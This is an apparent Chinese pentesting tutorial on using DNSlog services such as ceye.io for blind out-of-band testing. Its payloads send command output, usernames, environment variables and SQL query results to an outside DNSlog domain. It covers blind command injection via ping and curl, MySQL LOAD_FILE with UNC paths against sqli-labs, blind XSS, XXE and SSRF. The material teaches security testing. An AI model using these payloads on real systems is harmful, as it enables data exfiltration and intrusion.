前言
在肾透的过程中,dnslog是不可或缺的好工具。在之前的log4j2的过年事件中,dnslog更是火了一波,直接被干崩了,xs。。。下边我梳理一下在肾透中DNSlog的一些利用姿势。
DNSlog简介
DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com, 网络上的 DNS Server 会将该域名解析,并找到对应的真实 IP 如 127.0.0.1,使用户可以访问这台服务器上相应的服务
。DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。
一些DNs
http://ceye.io。
http://www.dnslog.cn/
https://dig.pm/
当然也可以自己搭建,github上有开源项目,https://github.com/BugScanTeam/DNSLog。
命令盲注回显
判断linux还是windows
* 1.先测试ping.exe test.ob3.ceye.io 是否接收到dnslog解析,如果可以则说明是windows
* 2.再测试ping -c 1 test.ob3.ceye.io,如果可以执行说明是linux。
linux
用反引号可以带出执行的结果,如果因为有其他编码导致不好使的时候,可以base64编码,
ping `whoami`.iqcsit.ceye.io
curl http://iqcsit.ceye.io/`whoami`
Windows
用%包上常用变量。就能用ping带出结果。
ping %USERNAME%.iqcsit.ceye.io
curl http://iqcsit.ceye.io/%APPDATA%
windowns很多变量用ping不好使。用curl就好使了
变量 | 类型 | 描述 |
---|---|---|
%ALLUSERSPROFILE% | 本地 | 返回“所有⽤户”配置⽂件的位置。 |
%APPDATA% | 本地 | 返回默认情况下应⽤程序存储数据的位置。 |
%CD% | 本地 | 返回当前⽬录字符串。 |
%CMDCMDLINE% | 本地 | 返回⽤来启动当前的Cmd.exe | 的准确命令⾏。 |
%CMDEXTVERSION% | 系统 | 返回当前的“命令处理程序扩展”的版本号。 |
%COMPUTERNAME% | 系统 | 返回计算机的名称。 |
%COMSPEC% | 系统 | 返回命令⾏解释器可执⾏程序的准确路径。 |
%DATE% | 系统 | 返回当前⽇期。使⽤与date /t 命令相同的格式。由 Cmd.exe ⽣成。有关 date 命令的详细信息,请参阅Date。 |
%ERRORLEVEL% | 系统 | 返回上⼀条命令的错误代码。通常⽤⾮零值表示错误。 |
%HOMEDRIVE% | 系统 | 返回连接到⽤户主⽬录的本地⼯作站驱动器号。基于主⽬录值⽽设置。⽤户主⽬录是在“本地⽤户和组”中指定的。 |
%HOMEPATH% | 系统 | 返回⽤户主⽬录的完整路径。基于主⽬录值⽽设置。⽤户主⽬录是在“本地⽤户和组”中指定的。 |
%HOMESHARE% | 系统 | 返回⽤户的共享主⽬录的⽹络路径。基于主⽬录值⽽设置。⽤户主⽬录是在“本地⽤户和组”中指定的。 |
%LOGONSERVER% | 本地 | 返回验证当前登录会话的域控制器的名称。 |
%NUMBER_OF_PROCESSORS% | 系统 | 指定安装在计算机上的处理器的数⽬。 |
%OS% | 系统 | 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 |
%PATH% | 系统 | 指定可执⾏⽂件的搜索路径。 |
%PATHEXT% | 系统 | 返回操作系统认为可执⾏的⽂件扩展名的列表。 |
%PROCESSOR_ARCHITECTURE% | 系统 | 返回处理器的芯⽚体系结构。值:x86 或 IA64(基于 Itanium)。 |
%PROCESSOR_IDENTFIER% | 系统 | 返回处理器说明。 |
%PROCESSOR_LEVEL% | 系统 | 返回计算机上安装的处理器的型号。 |
%PROCESSOR_REVISION% | 系统 | 返回处理器的版本号。 |
%PROMPT% | 本地 | 返回当前解释程序的命令提示符设置。由Cmd.exe ⽣成。 |
%RANDOM% | 系统 | 返回 0 到 32767 之间的任意⼗进制数字。由 Cmd.exe ⽣成。如果⽬标系统是linux的话,则可⽤shell语⾔或者 |
%SYSTEMDRIVE% | 系统 | 返回包含 Windowsserver operating system 根⽬录(即系统根⽬录)的驱动器。 |
%SYSTEMROOT% | 系统 | 返回 Windowsserver operating system 根⽬录的位置。 |
%TEMP%和%TMP% | 系统和⽤户 | 返回对当前登录⽤户可⽤的应⽤程序所使⽤的默认临时⽬录。有些应⽤程序需要 TEMP,⽽其他应⽤程序则需要 TMP。 |
%TIME% | 系统 | 返回当前时间。使⽤与time /t命令相同的格式。由Cmd.exe⽣成。有关time命令的详细信息,请参阅 Time。 |
%USERDOMAIN% | 本地 | 返回包含⽤户帐户的域的名称。 |
%USERNAME% | 本地 | 返回当前登录的⽤户的名称。 |
%USERPROFILE% | 本地 | 返回当前⽤户的配置⽂件的位置。 |
%WINDIR% | 系统 | 返回操作系统⽬录的位置。 |
SQL盲注回显
当页面无法正常回显的时候可以考虑这种注入方式,把数据从数据库带出来。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like '%secure%';查看load_file()可以读取的磁盘。
- 当secure_file_priv为空,就可以读取磁盘的目录。
- 当secure_file_priv为C:\,就可以读取C盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
UNC路径
讲到这就不得不讲UNC路径。UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
在内网渗透里的$IPC连接所用的就是这个玩意儿。
这儿 因为微软阴阳怪气的喜欢用反斜杠,所以在这本来是两个,因为需要转义,所以有需要加两个就是四个。
payload:
SELECT LOAD_FILE(CONCAT('\\\\',(sql查询语句),'.iqcsit.ceye.io\\abc'));
http://127.0.0.1/sqli-labs-master/Less-1/?id='and (SELECT LOAD_FILE(CONCAT("\\\\",(SELECT database()),".iqcsit.ceye.io\\abc")))--+
XSS盲打
对于没有回显的XSS,我们要想知道是否成功也可以利用img标签src属性填入得到的域名,然后打入xss,当被攻击着浏览时就会自动加载该资源,如果DNSlog有回显,说明存在漏洞。
一般盲打的时候,见框就插。
payload:
http://127.0.0.1/xss-tz/.php?name=%3E%3Cimg%20src=http://xss.iqcsit.ceye.io/abc%3E
XXE
遇到疑似XXE漏洞,如果它可以解析外部实体,那就可以用来读取服务器上的文件,同样远程文件也可以。那我们就可以用来测试。
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://iqcsit.ceye.io/aaa">
%xxe;%int;%send; ]>
<user><username>&test;</username><password>A10ng_</password></user>
SSRF
在遇到SSRF漏洞无回显时,可以利用DNSlog进行验证。
payload:
POST /ssrf/file_get_content.php HTTP/1.1
Host: 127.0.0.1
file=http://iqcsit.ceye.io/aaa&read=load+file